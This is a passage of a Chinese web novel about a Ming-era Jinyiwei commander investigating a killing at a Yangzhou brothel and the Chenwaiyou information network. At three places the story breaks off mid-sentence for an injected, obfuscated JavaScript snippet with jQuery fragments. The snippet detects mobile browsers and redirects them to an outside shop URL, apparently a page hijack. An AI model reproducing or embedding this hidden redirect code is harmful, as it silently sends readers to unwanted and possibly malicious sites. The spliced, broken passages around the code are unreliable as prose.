他的声音带着股诡异的宁静,好像这浸满血腥味的话是一句平和的问好。姚姜却面色未变,立即躬身一揖:“是!”
说罢,身姿挺拔的女千户站直身子,冲着杵在大厅中间的王大人做了个手势:“王大人,请吧。”
“别怕,王大人。”陈松睿撑着脸颊,修长而骨节分明的手遮住了半张脸,他笑容几乎要腌入味了,死死刻在了嘴角上:“我给你做主呢。”
王大人胸口剧烈起伏,背在身后的手攥得青筋暴起。姚姜又凑近了一步,秀美的脸上沉着一层霜色,加重了语气:“王大人,请!”
“哼!”王大人重重一甩袖子,看也不看姚姜,踩着极重的步子向着姚姜示意的方向去了。
姚姜抬头与陈松睿交换了一个眼神,轻轻点点头,也快速跟着离开了。
陈松睿动也未动眼珠却锁着王大人的位置,一直到他进了屋,再也看不到分毫。他闭了闭眼,放下了二郎腿,冲着身边站着的姬沧远招招手。
“去,给我揪一个大夫,或者仵作过来。”他眉眼压着一层阴影,吩咐道:“我要现场验尸。”
#####
子时了,这扬州城连烟花柳巷里都“睡”着了,到哪里去找个醒着的大夫仵作?
一行人来到时候乔装打扮,大部队都没进扬州城,姬沧远只能叫老谢拿了自己的令牌去喊衙门的仵作,自己则带着两个兄弟一头扎进了小巷里。
他隐约记得早上来巷子里吃早饭的时候听街坊说过,这边有个名气挺大的老中医,似乎还和尘外友有点关系。
“扯到尘外友,真麻烦。”姬沧远啧了一声,身影化作小巷里一缕风,沿着黛瓦墙无声的刮过。
身后的俩小旗跟得费劲,跑得满头热汗,好不容易跟上了姬沧远。其中一位抹了把脸,喘气儿喘得说话音都破了:“远——远哥,还没、还没到吗?”
姬沧远扶着刀柄仔细辨别了一下位置,闻言无语瞥了他们一眼:“回去之后好好操练一下,这体力随便哪个姑娘家都能干趴你们。回去我就和阿姜说一声。”
其中一个小旗低低哀鸣一声,因为剧烈运动而涨红的脸白了两个度:“别啊远哥,姚千户手里谁还能活下来啊!”
“收声!”姬沧远总算确认了老中医的门,做了个闭嘴的手势,自己上前重重拍起了门,喊到:“锦衣卫办案,速速开门!莫要等本官冲进去!速速开门!”
习武之人的手劲儿可不是盖的,几巴掌下去把门板拍出一道裂缝。医馆中大抵是有人守夜,不过几息里面便传来“咚”一声响,紧接着就是慌慌张张的一声“来啦”。
头发凌乱的小童衣衫都没穿好,鞋子跑丢了一只,慌里慌张地搬开门板。他大概是第一次见到带着满身血腥气深夜而来的官差,腿抖得险些站不稳,眼神都吓得呆愣。
姬沧远不想为难这小屁孩,厉声问道:“你们家坐堂的大夫呢?叫醒他,锦衣卫办案,速速跟我们离
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213881|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开!”
小童被“锦衣卫”三个字吓得差点尿出来,“嗷”一嗓子,撒丫子跑得裤子都快掉了:“钱伯!!!钱伯!!!”
姬沧远伸脖子看了眼,踢了旁边小旗一脚:“去看着点去,那孩子吓得话都不会说,保不齐叫什么玩意出来。”
小旗被踹得“诶呦”一声,差点一头杵进墙里,赶紧扶了扶幞头,应了一声跑进去了。
#####
方满穗抱着百斛睡得正香,骤然被兰烟渚拉起来,头毛杂乱,脸上还有一小层三花的猫毛。
“咋拉,姐……哈——”她一个哈欠还没打完,腰忽然被人扛起来,脑袋朝下,天旋地转——
“哇!!”
方满穗的哈欠被憋回肚子里,差点噎个好歹,混沌的脑瓜子瞬间就清醒了。她的脸被迫埋进了带着熏香的披帛里,张嘴就是猫毛和软纱:“咳咳咳咳——啊咳!”
“锦衣卫不知道为啥来了,可能是这个暗桩被人知道了。”
兰烟渚沉声说道,左右环顾一圈,抬脚往外跑去。她长了一张和弟弟兰霜毫极为相似的脸蛋,只是眼睛更加细长,像只从杏花林里赏花归来的小狐狸。她一手扛起方满穗,一手抱起胖猫猫,还不忘肩膀上搭个披风,健步如飞,鬼影似的从后院飘过:“赶紧去密道,千万别出来——素琢!”
兰霜毫冲了出来,中衣领口有些散乱,手里抄着剑。一看到姐姐和方满穗那极度不雅观的姿势,原本还一脸杀气的少年活像被雷劈了似的,眯眼咧嘴,没忍住发出一声九曲十八弯的“姐”!
“姐你个大头鬼!快点!”兰烟渚把方满穗和百斛扔包袱似的往密道里一丢,又把搭在手臂上的披风丢进去,对着弟弟打了个响指:“快点!别逼我扇你!”
说罢她也没等弟弟回应,闪身跑到了兰霜毫身后,飞起一脚,把还没站稳的弟弟蹬成了一个风火轮。
“唔!!!”
姐姐的一脚半点没收劲儿,兰霜毫几乎凌空飞起,直接滚进了密道。兰烟渚也不担心皮实的弟弟会不会摔个狗吃屎,风风火火关上了暗道门,又把花草整了整,这才深吸一口气,莲步轻移,文文静静地坐在了院子里的石桌上。
几个身着黑衣的暗卫分别从兰霜毫和方满穗的房间里出来,冲着假装赏月的主儿一点头,快速消失在了原地。
从此经时踪迹断,便是仙人来也只能摇头看着空落落的院子。
钱修生快步路过,包髻歪斜,平日里悉心爱护的长须髯都有些乱糟。他整理着衣领,一面和安抚着惊慌失措的小徒弟。
兰烟渚站在门洞处,递给钱修生一个小烟火筒:“若是有人难为你,用这个。”
钱修生将烟火筒揣进了袖子里,冲兰烟渚快速一揖:“多谢阁主!”
“这锦衣卫来的也忒快。”兰烟渚卸下胳膊上暗藏的小型弓弩。这弓弩挂在小臂内/侧,掌心向下,使用时弓弩会弹出填满手掌,箭从食指中指处深处,只需用力一攥——
钱修生快速将弓弩装在左手,任由小童为自己整理衣物:“这扬州地界想必陈松睿也会有所忌惮,阁主可放心,老夫会安然无恙。”
“那可未必。陈松睿这厮什么时候害怕过?”兰烟渚皱着细眉,右手攥拳,下意识捶着左手手心:“怪了事儿了,难道是素琢那脑子缺根筋的傻帽泄露行踪了?”
7. 青楼案(4)
被嘲讽的是未来山庄主人,嘲讽他的是尘外友的主人,两位都有些开罪不起,钱修生只能咳嗽了一声,强行把想笑的冲动压了回去。
兰烟渚瞅着时间差不多,赶紧让开了路:“你先去,多小心。”
钱修生赶紧又一揖,背着药箱风一样的刮出了门。
没走几步就迎面撞见了那前来叫人的小旗,钱修生早将圆滑修炼成了骨血,见人先带两分笑,尚有几分仙风道骨的气场被这温和笑容硬是拉入了凡尘。
“令您久等,老夫之罪,”他弯腰行礼:“还望官爷为我带路。”
####
姬沧远带着人回到了怡红院,刚进大厅,就听到了不知道哪个房间里传来的吼叫。
怡红院的众人不知被赶到了哪里去,空荡荡的楼里仅站着几位锦衣卫。厅堂上挂着的灯笼不知道被谁撞掉了一个,上面的画都被烧个干净。
陈松睿还是窝在了太师椅上,似乎是睡着了,姬沧远上前几步才终于惊醒了他。
他还是一副困乏的样子,眼里的倦意却像朝露一般,光一入眼便消散无影。
“老大,”姬沧远说道,一面让开了位置,示意了下身后跟着的钱修生:“钱大夫来了。”
陈松睿“唔”了一下,半睁不睁着眼睛,瞄了一眼远处的钱修生:“仵作呢?”
姬沧远摇了摇头。他的未竟之语已经很明显,陈松睿嗤笑一声,揉了揉额头,撑着扶手站起了身。
“钱大夫,随我来。”眨眼间,他又带上了那副温文尔雅的面具,礼数周全的示意钱修生跟上自己:“请。”
钱修生的腰弯得胡子都垂下地面,恭恭敬敬地行礼。他半点不敢拿大,落后陈松睿几步,慢慢走进了房间。
他每一步都走得猫儿似的,轻手轻脚,余光四处打量着,眼睛却规规矩矩的垂在了地上。
侧前方的陈松睿背着手,高大的身躯遮挡了半数光影。有光线如箭矢从他肩膀划过,在钱修生的瞳孔中落下一个点。
老大夫眨了眨眼,感觉即使是路过陈松睿身边的光线,也会变得如此刺眼。
没几步路就到了停尸的房间。陈松睿几步走到尸体身边,示意了一下地上躺着的男尸:“麻烦您,我想知道他是怎么死的。”
钱修生见惯了无数病人,遮遮掩掩的,胡言乱语的,疯狗咬人的……唯独没想到居然是个冷的?!
老大夫脸上表情空了一瞬,脑瓜卡壳,傻了吧唧地发出一声:“死、死人?!”
陈松睿眉梢微微一动,微笑不语,尽管他笑得很温柔,但是眼神明显是心平气和的表达了无语。
“听闻您是扬州城有名的神医,本官特意来请。”陈松睿扬了扬下巴,立刻就有两位小旗走上前:“请帮本官看看这人的死因。若是言之有物,便算有功,少不了你的好处。”
“这、这这这——”那两名锦衣卫明为帮,实则带着暗暗的胁迫,钱修生被这阵仗弄的有些手足无措,被簇拥着往前凑去。他仓皇抬眼,正对上陈松睿刀刻斧削般的眼睛。
浓黑的双瞳里,笑意与那毛骨悚然的阴鸷如同尚处于混沌的天地,未分阴阳,杂糅混乱,即便他笑得再温和,钱修生还是感觉自己后脖颈的汗毛根根直竖。
那些辩解推脱的话就这么在陈松睿的注视下,一点点被老大夫自个儿咽回了腹中。
锦衣卫都指挥使领北镇抚司镇抚使,不仅可止小儿夜啼哭,也可治疗人尿闭,不虚此名啊!
钱修生吸了口气,又慢悠悠吐/出来。他攥了攥发/抖的手,认命的走上前认真检查起死尸。
陈松睿的眼神如有实质,从老大夫利索的腿脚,到他始终挺直的腰背,再到他小心触摸尸体的双手。陈松睿在被察觉之前收回了目光,随便找了把椅子坐了下来。
姬沧远持刀站在一边,耳朵一动,老大的传音就这么突兀的响起:“你去把阿姜换过来,看看她问出什么来没有,没有你就带着老谢去,别动手,老谢知道怎么做。”
高大的锦衣卫点点头,没一会儿就消失在了门口。
陈松睿视线又转了过去,发现钱修生已经接过小旗擦手的毛巾站起了身。他嘴角迅速一挑,站起身背着手凑过去,笑眯眯地夸了一句:“不愧是名医,这么快就检查完了。”
钱修生擦手的动作一顿,赶紧一躬身,正想来几句场面的话,没想到陈松睿冷不丁冒出一句:“您身子骨挺不错啊,今年高寿啊?”
钱修生把毛巾递给了小旗,干笑了几声:“今年五十六,算不得高寿,算不——”
陈松睿:“习过武?”
钱修生一句“是”差点飞出嘴唇,险之又险地把音儿关在牙齿里。老大夫险些当场来一个“龇牙咧嘴”,表情扭曲一瞬,及时换了句话:“经、经常做做五禽戏,打打八段锦什么的……比起您几位高手,老夫……嘿嘿,也就是为了多活几年,多活几年。”
陈松睿嘴角噙着笑,哼出一声鼻音,没再揪着问什么。他跺步走到尸体旁边,扬了扬下巴:“他是怎么回事?”
“据老夫所看,此人应当是死于利器之下。”钱修生后背生了一背白毛汗,暗中松了口气,用还有点哆嗦的手指着死者的心口:“我仔细看了看死者胸口,似乎是针,或者什么很薄的利器,一击命中。”
“这人武功不低,怎么就会被人一击命中?”陈松睿蹙了蹙眉,余光注意到进来的姚姜,摆手示意她站着别动:“也就是说这人是被勒住脖子的时候同时被刺中?”
钱修生点点头,拱手说道:“大人明察。”
“都勒住脖子了,为什么还要给他一剑……”陈松睿的手指轻轻划过脖子,啧了一下,重新把手背在身后:“还有吗?”
钱修生哽了一下,声音稍微弱了一点:“没、没了。他周身没有其他的伤痕,应当没有受过什么罪……”
“钱大夫动作如此之快,居然眨眼间就检查完了全身。”陈松睿笑容扩大,眉毛轻微挑起:“敢问钱大夫是如何检查的?”
僵住的钱修生:……
老大夫恨不能回到刚才,一巴掌把嘴快的自己扇清醒。他脑袋里转出火星子,拼了命的想着借口。
想他平日里随意惯了,今天一不小心遇到了惯会明察秋毫的陈松睿,几乎每说一句话都能把自己漏成筛子。这冷汗霎时间浮了满脸,钱修生胡子颤/抖,脑袋里怎么也转不出一个十全十美的借口,浑身的衣服骤然被汗水浸了个彻底。
这锦衣卫到底想干嘛?!到底想干嘛?!他招谁惹谁了这是,莫名其妙啊简直!!
老头战战兢兢地站在原地,藏在袖子里的手无风自舞。他强装镇定,将袖子里揣着烟火筒的左手背在了身后。
但是这室内如何燃放,放个烟花给这都指挥使乐呵乐呵?!
他像一只被野兽锁定的猎物,不知道一切动作都被野兽笼入眼中。
“别害怕,钱大夫,我不会杀你。”陈松睿笑得像只大尾巴狼:“只是有件事想要问问你。”
“我听闻扬州城里有一耳目灵通之处,名曰‘尘外友’。只需要给予他们想要的东西,就可以得到任何你想要的消息。”
钱修生警惕地瞅着慵懒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213882|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晃悠着腿的陈松睿,没留意姚姜已经走到了自己身后。陈松睿冲着老大夫眨眨眼:“我还听闻您和尘外友有旧,嗯……所以方便的话,我想和尘外友做一笔交易如何?”
这话听着客气无比,可每个字都透露着一股胁迫,这哪里是请求,分明就是通知!
姚姜沉默无声地站在钱修生身后,将自己的存在感降得比房梁上晃悠的花灯还不如。她低着头安静听着,却在陈松睿说到“交易”的时候出其不意,一把将老大夫袖子里捏着的烟火筒抄进了自己的手里。
钱修生一时不查,被身后的姚姜抢走了用于求生的物什。他下意识正要伸手抢回来,却被锵然出鞘的绣春刀架在了脖子上!
姚姜左手把/玩着小巧可爱的烟火筒,右手不轻不重地压了压绣春刀,示意钱修生别靠近。她还真得她老大的真传,笑容里那股凶悍真是如出一辙:“大夫,这玩意太危险,在下帮帮忙收起来了,以免烧了您的手。”
“你——”
这前有狼后有虎,夹在中间的钱修生如狼吃幞头,又怕又恼,气得话都说不清:“堂堂锦衣卫,如此、如此不讲理!”
姚姜:“是啊,怎样,你打我啊?”
“阿姜,收刀。”有了帮唱白脸的姚姜,唱了一宿白脸的陈松睿这会儿终于是“正直”了一把。他撇了一眼姚姜,站起身缓步走向钱修生:“大夫,尘外友在哪里,你能帮我见到尘外友的主人吗?”
钱修生闭了闭眼,连连喘了两口气才终于平复下来。他这一晚上都被架在火上烤,半点由不得他自己选,这会儿大概知道了自己小命能保住,总算是心气儿平稳了些:“老夫做着小本生意,十几年前常被同行骚扰,是尘外友的主人帮了我……我能帮你联系她,但是她愿不愿意,老夫就——又、又干什么?!”
姚姜不比老大夫高多少,这会儿拎着老头后领,跟拎小孩似的。她秀美的脸上露出一个狞笑,右手摩挲着刀柄:“您只管叫出来就行,我们当然有办法让她答应!”
#####
姬沧远刚一进门就赶紧一蹲,差点被飞出来的砚台砸中脑壳。
“好啊姬沧远,你真TMD会选大夫!”陈松睿怒吼的声音把旁边打瞌睡的小旗吓醒了。他把桌子拍的山响,一条腿踩在了椅子上:“你知道他是尘外友的人吗?!你想干嘛?!啊?!还嫌咱们这儿不够乱?!”
姬沧远把屋门一关,杵在门口,歪着脑袋,丈二和尚摸不着头脑:“不是老大你让我找个大夫来,我就找了个最好的大夫来啊,这咋啦?”
他自己说完自己“哦”了一声:“你是担心尘外友插手这次的贪墨案吗?我真没想那么多,真没。”
陈松睿翻了个大白眼,重新坐回了桌子后面:“废话!这怡红院是尘外友的产业,那老大夫是尘外友的人……只不过要说尘外友做了这贪墨案,我却不太信。”
他拿起桌上的包子扔给了姬沧远,自己也啃了一个,空着的手下意识用手指敲着桌面:“我知道尘外友,他们若是做事,就绝不会留有任何痕迹……但是若是尘外友真的知道些什么,这倒也是一个不错的切入口……”
姬沧远“嗯嗯嗯”地点着头,两口把包子啃完了。熬了一天,他脸上居然半点倦意没有,这会儿自觉又拿了一个包子:“那怎么办,和尘外友做生意?老大,你今天已经花了五十两金子了,公费真不够你挥霍了……”
“生意要做,但不是这个做法。”陈松睿用包子砸姬沧远,脸上是满满的嫌弃:“闭嘴你个守财奴!!五十两金子是我的钱!给我把王大人请过来,我要审他!”
8. 青楼案(5)修错字
王大人挺直腰板,两个时辰的审讯令他双眼充满血丝,尽管姚姜和老谢并没有对他用刑。
但这老臣却比被用了刑还要憔悴。
陈松睿这次总算没再带着他不怀好意的笑,背着手,在大厅站成了一颗青松。
“王大人,我就不和你废话了。”陈松睿声音沉静:“你为什么要暗示我来到这儿?”
“若你有难处,自可与我说。你应当知道,自今上执政,锦衣卫中再无错案假案,我从未冤枉过任何一个无辜之人。”
“这次而来,乃是因为蔡知府以血写就的家书。”陈松睿难得没再穿上“蛮横无理锦衣卫”的面具,语气与动作都像一位明断的臣子:“若这次扬州府贪墨案确实与十七年前的通州走私盐案为同一人所为,那么这次便能将犯人绳之以法,也能还无辜者一个公道。”
他谆谆善诱般,背着手来回跺步,寥寥数语说出了藏在背后的惊天案情:“当年何知州一家老小惨死,无一幸存,震惊朝野的通州案也不了了之。王大人,那些人的冤魂已经等了太久了,若无人为其沉冤昭雪,他们怕是——怕是泪水能淹没阎王殿啊。”
“方才的审讯是为了排除您的嫌疑,若是多有得罪,陈雅端在此向您赔罪。”陈松睿站定,拱手就是一揖到底:“还请王大人助我!”
王大人原本垂着眼,不知道听到了哪个词,突然抬起了头。
他快到古稀之年,一双眼睛竟依然清澈,灯火在他眼中摇曳出一轮圆月,血丝如线,拢起一层雾气,那眼中竟是与月共载了满满的愁苦。
陈松睿见惯了各式眼神,绝望的,悲伤的,恳求的……他早就对这些扔向他的情感免疫,却还是被这欲语还休的眼神震在了当场。
“王大人。”他严肃了面容:“若有隐情,还请相告。”
那老臣却又垂下了眼睛,苍凉的笑了两声。他没有回应陈松睿的话,像是被魇住似的,恍恍惚惚地冒出了两句:“广堂清白照蒲团,相续真灯未许残……”
陈松睿蹙起了眉头,还以为王大人再说什么暗语。他正要再问两句,却看到王大人骤然收了声,平静地看着他,好像下了什么决心似的,郑重其事地说道:“陈雅端,你记住你的话。”
这话语中带着某种如释重负,陈松睿眼中突兀涌出某个高大身影,那烈火吞噬着一切色彩,直到与泪水一同化为灰烬。
他瞳孔骤然紧缩,大吼一声:“他要自裁!拦住他——”
斜后方的姬沧远已经极快掷出手里的枣核,可却没有王大人快——这老臣似是因为什么返老还童,手里寒光一闪,颈侧刹那被鲜血泼成深红!
他身体还未摔倒在地上,陈松睿便已经将他扶住。
“我知道……我一死,你必然陷入险境……”王大人蓄存已久的泪水忽然落下,他咳嗽着,艰难冒出话语:“请雅端谅解——我一生未能尽忠报国,也不能……愧对……唯有、唯有一死,至少能对得起,自己的……心……”
陈松睿看着他手里不知何时藏着的茶杯碎片,双眼猩红,脑海中似乎有什么猛然炸开。他野兽似的低喘几声,仰头就是一声怒号。
“姬沧远!”他放下已经渐渐变凉的尸体,也顾不得擦去手中的血迹:“带着那个老大夫,去把他家里掘地三尺——我要立刻见到尘外友的主人!”
######
方满穗换上了一身侍卫的衣服,脖子上挂着面具,提着一盒早饭进了门。
身后的兰霜毫哈欠连连,险些被门槛绊个大马趴。他揉了揉脑袋,嘴里有些抱怨似的嘟囔着:“再过一个时辰天都要亮了,钱伯怎么还不回来?”
两人穿过充满花香的走廊,一直往后院去。方满穗看了看天,啧了一声:“可能是病人快死呗,谁知道。”
兰烟渚正在院子里看着密信,看到弟弟妹妹来,这才将一打信塞回了盒子里。她站起身,看到方满穗提着的食盒,表情阴沉了几分:“怎么回事儿,素琢,你怎么让穗穗一个姑娘家提这么沉的东西?”
提着两盒的兰霜毫:……
他已经习惯了自己姐姐时不时的偏心,干巴巴地说道:“啊,是啊,所以我怎么帮忙呢,像点珠一样用嘴叼吗?”
兰烟渚:“嘿你个小毫毛,你还学会顶嘴了是怎么的?!”
兰霜毫“嗷”的一声,把食盒往石桌上一扔:“姐!!都说了不要叫我这个小名了!!”
“那又怎么样,我是你姐,”兰烟渚毫无同情心,把食盒里的馄饨端出来:“我想叫你的字就叫你的字,想叫你的名就叫你的名,反正你也打不过我,是吧霜霜。”
方满穗正尝一口馄饨汤,差点被这句话呛得从鼻子里喷/出来。
兰霜毫十分沧桑地叹了口气,认命似的“昂”了一声,端着属于自己的碗坐到一边吃饭了。
月亮还没有完全落下,依然温温柔柔地撒着光。院墙上沁出一层软软的白光,沿着黛瓦给宅院描了个边儿。
“不过什么病要看到现在?”馄饨味道一如既往的好,方满穗满意地往里加了点酱油,用这碗热腾腾的美味安抚一下自己一/夜的惶恐:“该不会是那个锦衣卫快死了吧?”
兰烟渚呛了一下,从这句话里听出了浓浓的幸灾乐祸。
“死到未必,陈松睿命大的离谱,阎王爷都未必能拽走他。”兰烟渚夹起一筷子雪菜塞进嘴里,“唔”了一声:“可能是怕谁死吧,故意留着不让老钱回来,难说。不过老钱虽然有点憨,但是逃命水准有的一拼,见势不妙他拔腿就跑,那群鹰犬未必追得上。”
方满穗对于“陈松睿命大的离谱”表示了赞同,又被“钱伯逃命水准”给逗笑了。
这里没什么食不言的规矩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213883|151138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,几人你一言我一语,聊起了最近扬州城里流行的话本。兰烟渚一筷子戳中一个大馄饨,若有所思地挠挠下巴:“润墨公子这人,话本写得着实传神。若不是他背后已经有了老板,我都想把他招揽了帮我尘外友多赚几笔银子。”
兰霜毫“咕嘟”喝了一/大口汤,舒了一口畅快的气儿,被姐姐这句话刺得咧咧嘴:“姐,你这话说的,好像前几天那一/大笔黄金不是你赚的似的。”
兰烟渚理直气壮:“钱怎么可以嫌多?况且尘外友也出了力,收他一笔金子那是我应得的。”
几人又开始了叽叽喳喳地呛嘴,笑声比隔墙的黄鹂叫都欢欣。兰霜毫见吃的差不多,十分自觉地站起身收拾碗筷:“天亮之后我去打听打听,看看到底是怎么回——”
他话音未落,一只箭带着破风声“嗖”地戳在了地上。只是射箭的人大概手没什么劲儿,箭连地面都没能扎进去,立了没一会儿,就“啪嗒”躺在了地上。
方满穗离得最近,把箭上的传讯摘下来读出了声:“嚯这字儿写的,那叫一个飘逸,写的什么来着——”
狗爬蛇蹿似的字儿在一块衣服碎片上歪歪扭扭:“怡红院被占锦衣卫带钱伯来暗桩速撤”,还特意在“撤”上狠狠划拉三行。
这里传达的信息着实算不得什么好消息,兰烟渚“噌”得站起来,厉声喝道:“来人!”
暗卫还未现身,小童就又跌跌撞撞跑了来。他刚睡下没多会儿又被惊醒,光着脚丫一路狂奔,哭得满脸都是泪:“兰姐姐兰姐姐!!师父被人挟持着,说是要抄查咱们院儿,已经在门口了!”
兰烟渚阴沉着脸,紧抿着嘴唇,把手里的瓷碗捏成了粉末。那股愤怒混杂着压迫感从她身上爆出,她像一只被挑衅了领地的狮王,随时准备将那些不要命的宵小撕成碎片。
方满穗与兰霜毫对视一眼,后者则开口说道:“姐,我和穗穗扮成你的贴身侍卫,我们见机行事,你看如何?”
“是啊,姐,”方满穗也开口道,将挂在脖子上的面具戴好。她身形瘦高,又掩饰了自己的女性特征,这么一来,倒和身边仍在长身体的少年没有两样:“我与霜毫助你,还怕打不死他们?”
“倒不是什么打死打不死,陈松睿武功高,但也没到我这个地步。”兰烟渚闭了闭眼,搭在两边的手攥了攥:“……算了,走一步算一步。你过来。”
站在树下的暗卫立刻应声而来。兰烟渚在他耳边低语几句,方才直起身,上前安抚地摸了摸小童的脑袋:“小灿别怕,好好看家,姐姐会把你师父带回来。”
得了吩咐的暗卫已经领命离开。兰霜毫也带上了面具,将剑配在了身边。兰烟渚接过侍从递上来的斗篷,遮好了那张远山芙蓉似的脸蛋。
她对身边的弟弟妹妹点点头,快速走向了门口,身姿挺拔,身影一阵风似的消失了。
9. 青楼案(6)
陈松睿在椅子上还没眯一会儿,姚姜就把人叫醒了。
“老大,我在王大人身上发现了这个。”姚姜清了清嗓子,她今天先审王大人后审钱修生,唱了一晚上白脸实在有点疲惫:“你看。”
陈松睿打了个哈欠,伸/出两根手指夹住了那张纸。他努力睁开黏在一起的眼皮,发出一声黏糊糊的鼻音:“嗯……啥玩意这是?”
纸摸起来质量尚可,隐隐约约还能嗅到一丝丝浅淡的墨香,上面只写了不知所谓的两句话:提,拜堂礼毕,只见那盛哲揭起凉州锦,好一个真容赛西施的小娘子。来往宾客皆侧目,都道佳偶天成,郎才女貌!
“什么鬼……王大人怀里揣的?”陈松睿使劲眨眨眼,活动着生锈了似的筋骨坐直,诶呦着手捏着后脖颈:“嗯……这是哪儿撕下来的,怎么像是话本?”
“我也觉得像话本。”姚姜抿抿嘴,抹了把脸,把自己“一言难尽”的表情强行憋回去:“王大人我没记错的话,妻女早就已经没了吧?他好像一直是个老光棍,每天除了公务就是和那些老臣们喝喝茶什么的。”
主要这页话本实在有点太过“惊天地泣鬼神”,姚姜实在不想对一位刚过身的、一辈子尽忠职守的老臣说什么不好听的话。她向来肆意,这会儿硬是憋住了心里那股吐槽的劲儿,把不太尊敬的话咽了下去。
陈松睿也啧了一声,很明显和姚姜想到了一块去:“王大人喜欢看话本?嘶……”
王大人性格温和,是个好说话的老学究,脾气特别好,极受晚辈和监生爱戴……难道他真有什么奇怪癖好,还是这东西来自于某个后生?
快古稀的老人端坐在床边看这种情情爱爱的话本,陈松睿感觉自己想一想都会伤害自己的脑瓜。
“老大,”姚姜犹犹豫豫的声音打断了陈松睿的思路,他掀起眼皮,看着面露难色的下属:“先不管这些,王大人死了,怎么办?”
“虽说他只是明面上的钦差,但也是个朝廷命官。这么不明不白没了……”
“正好看看到底是谁推荐他来的。”陈松睿把纸折了三折塞进了怀里。他打了个大哈欠,重新歪倒在椅子里:“一个礼部侍郎来凑什么热闹,到底是……哈……谁推荐这老头来的,快七十了折腾的命都没了。”
“老大,你是不是没明白我的意思。”姚姜一屁/股坐在桌子上:“你有想过国子监那帮人吗?你有想过那些老古板会怎么样吗?我的妈呀老大,我感觉我们回去之前一定会被唾沫淹死你明白吗——”
“那咋办,你下去把他换上来?”陈松睿揉着太阳穴:“先瞒着,瞒不下去了再说。姬沧远人呢,几步路跑这么慢!!”
姚姜看着这人没型没谱地窝着,一身上等衣袍皱成海蜇皮,憔悴地胡茬都冒出来一层。几人相识十多年,出生入死那么多次,她实在有点心疼,“诶”了一声,戳了戳马上要再睡过去的陈松睿:“老大,没事,实在不行官儿丢了,咱们几个上街弄杂耍去。”
陈松睿:……
他哭笑不得,拿起手边的茶盅砸过去:“我谢谢你!!快点去看看姬沧远死哪儿去了!”
######
兰烟渚踩着柔软的地毯进了怡红院,正碰见几个杂役添着灯油。
那几个杂役形容憔悴,眼窝印着深深的阴影,缩脖耸肩的,活像一群被吓破胆的鹌鹑。
其余分散着三三两两的锦衣卫,各司其职,却未见其他怡红院的人。若不是这装饰未变,还是浸着风花雪月的味儿,还真以为自已跑到了哪处锦衣卫暗桩。
再走没几步,就被几个小旗拦下。兰烟渚脚步一顿,余光一扫,看到其中一人伸手探向兰霜毫腰侧的长剑,一面厉声说道:“请卸下武器!”
说着“请”,却半点不给人选择,可兰霜毫也未必是个会被一句话吓到的少年——那小旗手还没碰到剑身便被兰霜毫掐住了脉门,少年出手半点没留情,另一只手则屈起五指,重重击向了小旗喉头!
“诶!”
小旗一声惊叫,差点被活活击折了喉管——一颗枣子带着破风声击向手骨,兰霜毫不得不转了手腕,硬是用手心接住了足以打碎手骨的枣!
小旗总算得以脱身,“诶呦”一声后退几步,头上瞬间出了一层白毛汗。他喘息着,摸着喉咙,惊魂未定地指着兰霜毫,“你你你”了半天支吾不出个所以然。
姬沧远上前几步一巴掌打在了小旗后脑勺,低吼道:“丢人现眼,还不赶紧滚!”
说罢便对着几人抱了抱拳:“还请各位别放在心上。都指挥使就在大厅,请随我来。”
这人生了一张说不出味道的脸蛋,不像姚姜,纯长得好看,也不似林奎之,生了个“憨傻”的“熊样”。他鼻子嘴唇生得秀气精致,却偏偏长了一对儿粗浓的断眉,下衬一双似笑非笑、似挑非挑的凤眼,被锋利的下颌线兜在了一张白净脸上——即便是刻意笑模样,那略微僵硬的脸颊也总使人觉地这人在琢磨着怎么一拳把人脑袋打飞似的。
比起姚姜,他更适合唱白脸儿,却偏偏又生了一副金玉相撞似的好嗓子,比起带着点沙哑的姚姜,说话间自带一股清澈的风/流劲儿——女娲娘娘捏他的时候,大抵是心情别扭吧。
兰烟渚没怎么接他的茬儿,挑了挑嘴唇,也拱了拱手:“还请千户领路。”
姬沧远又挑了挑嘴唇,扭过头,面色阴沉地瞪了一眼丢人的小旗,这才大步流星地往里走去。
陈松睿总算换下了那身皱巴的衣服,重新穿上了那身大红的飞鱼服。兰烟渚刚走进,就被那透骨的眼神从上到下扫了个干净。
她搭在身前的手微微攥了一下,脸上表情没变,利利索索地行了个礼:“民女见过都指挥使。”
“阁主客气。”陈松睿笑了笑,款步走了下来。大厅桌椅被挪出一片空地,硬是塞进了一个八仙桌,陈松睿随手拉开一把椅子,风度翩翩地说道:“还请入座。”
